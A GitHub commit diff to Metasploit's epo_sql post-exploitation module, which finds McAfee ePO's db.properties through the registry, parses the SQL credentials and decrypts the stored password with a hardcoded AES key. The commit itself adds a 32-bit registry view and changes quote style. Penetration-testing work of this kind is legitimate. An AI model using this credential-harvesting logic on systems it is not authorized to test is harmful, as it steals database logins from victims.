Skip to content

Commit 5d085a3

Browse files
author
Brent Cook
committed
Land rapid7#5351, use 32-bit registry view when detecting epo_sql
2 parents 657746c + 79db696 commit 5d085a3

File tree

1 file changed

+42
-43
lines changed

1 file changed

+42
-43
lines changed

modules/post/windows/gather/credentials/epo_sql.rb

Lines changed: 42 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55

66
require 'msf/core'
77
require 'rex'
8-
require "net/dns/resolver"
8+
require 'net/dns/resolver'
99
require 'msf/core/auxiliary/report'
1010

1111
class Metasploit3 < Msf::Post
@@ -30,20 +30,20 @@ def initialize(info={})
3030

3131
def run
3232
# Find out where things are installed
33-
print_status("Finding Tomcat install path...")
34-
subkeys = registry_enumkeys("HKLM\\Software\\Network Associates\\ePolicy Orchestrator")
33+
print_status('Finding Tomcat install path...')
34+
subkeys = registry_enumkeys('HKLM\Software\Network Associates\ePolicy Orchestrator',REGISTRY_VIEW_32_BIT)
3535
if subkeys.nil? or subkeys.empty?
36-
print_error ("ePO 4.6 Not Installed or No Permissions to RegKey")
36+
print_error ('ePO 4.6 Not Installed or No Permissions to RegKey')
3737
return
3838
end
3939
# Get the db.properties file location
40-
epol_reg_key = "HKLM\\Software\\Network Associates\\ePolicy Orchestrator"
41-
dbprops_file = registry_getvaldata(epol_reg_key, "TomcatFolder")
42-
if dbprops_file == nil or dbprops_file == ""
43-
print_error("Could not find db.properties file location")
40+
epol_reg_key = 'HKLM\Software\Network Associates\ePolicy Orchestrator'
41+
dbprops_file = registry_getvaldata(epol_reg_key, 'TomcatFolder',REGISTRY_VIEW_32_BIT)
42+
if dbprops_file == nil or dbprops_file == ''
43+
print_error('Could not find db.properties file location')
4444
else
45-
dbprops_file << "/conf/orion/db.properties";
46-
print_good("Found db.properties location");
45+
dbprops_file << '/conf/orion/db.properties';
46+
print_good('Found db.properties location');
4747
process_config(dbprops_file);
4848
end
4949
end
@@ -57,39 +57,39 @@ def process_config(filename)
5757
line.chomp
5858
line_array = line.split('=')
5959
case line_array[0]
60-
when "db.database.name"
61-
database_name = ""
60+
when 'db.database.name'
61+
database_name = ''
6262
line_array[1].each_byte { |x| database_name << x unless x > 126 || x < 32 }
63-
when "db.instance.name"
64-
database_instance = ""
63+
when 'db.instance.name'
64+
database_instance = ''
6565
line_array[1].each_byte { |x| database_instance << x unless x > 126 || x < 32 }
66-
when "db.user.domain"
67-
user_domain = ""
66+
when 'db.user.domain'
67+
user_domain = ''
6868
line_array[1].each_byte { |x| user_domain << x unless x > 126 || x < 32 }
69-
when "db.user.name"
70-
user_name = ""
69+
when 'db.user.name'
70+
user_name = ''
7171
line_array[1].each_byte { |x| user_name << x unless x > 126 || x < 32 }
72-
when "db.port"
73-
port = ""
72+
when 'db.port'
73+
port = ''
7474
line_array[1].each_byte { |x| port << x unless x > 126 || x < 32 }
75-
when "db.user.passwd.encrypted.ex"
75+
when 'db.user.passwd.encrypted.ex'
7676
# ePO 4.6 encrypted password
77-
passwd = ""
77+
passwd = ''
7878
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
79-
passwd.gsub("\\","")
79+
passwd.gsub('\\','')
8080
# Add any Base64 padding that may have been stripped out
81-
passwd << "=" until ( passwd.length % 4 == 0 )
81+
passwd << '=' until ( passwd.length % 4 == 0 )
8282
plaintext_passwd = decrypt46(passwd)
83-
when "db.user.passwd.encrypted"
83+
when 'db.user.passwd.encrypted'
8484
# ePO 4.5 encrypted password - not currently supported, see notes below
85-
passwd = ""
85+
passwd = ''
8686
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
87-
passwd.gsub("\\","")
87+
passwd.gsub('\\','')
8888
# Add any Base64 padding that may have been stripped out
89-
passwd << "=" until ( passwd.length % 4 == 0 )
90-
plaintext_passwd = "PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP"
91-
when "db.server.name"
92-
database_server_name = ""
89+
passwd << '=' until ( passwd.length % 4 == 0 )
90+
plaintext_passwd = 'PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP'
91+
when 'db.server.name'
92+
database_server_name = ''
9393
line_array[1].each_byte { |x| database_server_name << x unless x > 126 || x < 32 }
9494
end
9595
end
@@ -98,7 +98,7 @@ def process_config(filename)
9898

9999
result = client.net.resolve.resolve_host(database_server_name)
100100
if result[:ip].nil? or result[:ip].empty?
101-
print_error("Could not determine IP of DB - credentials not added to report database")
101+
print_error('Could not determine IP of DB - credentials not added to report database')
102102
return
103103
end
104104

@@ -111,11 +111,11 @@ def process_config(filename)
111111
print_good("Database IP: #{db_ip}")
112112
end
113113
print_good("Port: #{port}")
114-
if user_domain == nil or user_domain == ""
115-
print_good("Authentication Type: SQL");
114+
if user_domain == nil or user_domain == ''
115+
print_good('Authentication Type: SQL');
116116
full_user = user_name
117117
else
118-
print_good("Authentication Type: Domain");
118+
print_good('Authentication Type: Domain');
119119
print_good("Domain: #{user_domain}");
120120
full_user = "#{user_domain}\\#{user_name}"
121121
end
@@ -127,8 +127,8 @@ def process_config(filename)
127127
service_data = {
128128
address: Rex::Socket.getaddress(db_ip),
129129
port: port,
130-
protocol: "tcp",
131-
service_name: "mssql",
130+
protocol: 'tcp',
131+
service_name: 'mssql',
132132
workspace_id: myworkspace_id
133133
}
134134

@@ -145,21 +145,21 @@ def process_config(filename)
145145

146146
login_data = {
147147
core: credential_core,
148-
access_level: "User",
148+
access_level: 'User',
149149
status: Metasploit::Model::Login::Status::UNTRIED
150150
}
151151

152152
create_credential_login(login_data.merge(service_data))
153-
print_good("Added credentials to report database")
153+
print_good('Added credentials to report database')
154154
else
155-
print_error("Could not determine IP of DB - credentials not added to report database")
155+
print_error('Could not determine IP of DB - credentials not added to report database')
156156
end
157157
end
158158

159159

160160
def decrypt46(encoded)
161161
encrypted_data = Rex::Text.decode_base64(encoded)
162-
aes = OpenSSL::Cipher::Cipher.new("AES-128-ECB")
162+
aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB')
163163
aes.padding = 0
164164
aes.decrypt
165165
# Private key extracted from ePO 4.6.0 Build 1029
@@ -172,6 +172,5 @@ def decrypt46(encoded)
172172
password.gsub!(/[^[:print:]]/,'')
173173
return password
174174
end
175-
176-
177175
end
176+

0 commit comments

Comments
 (0)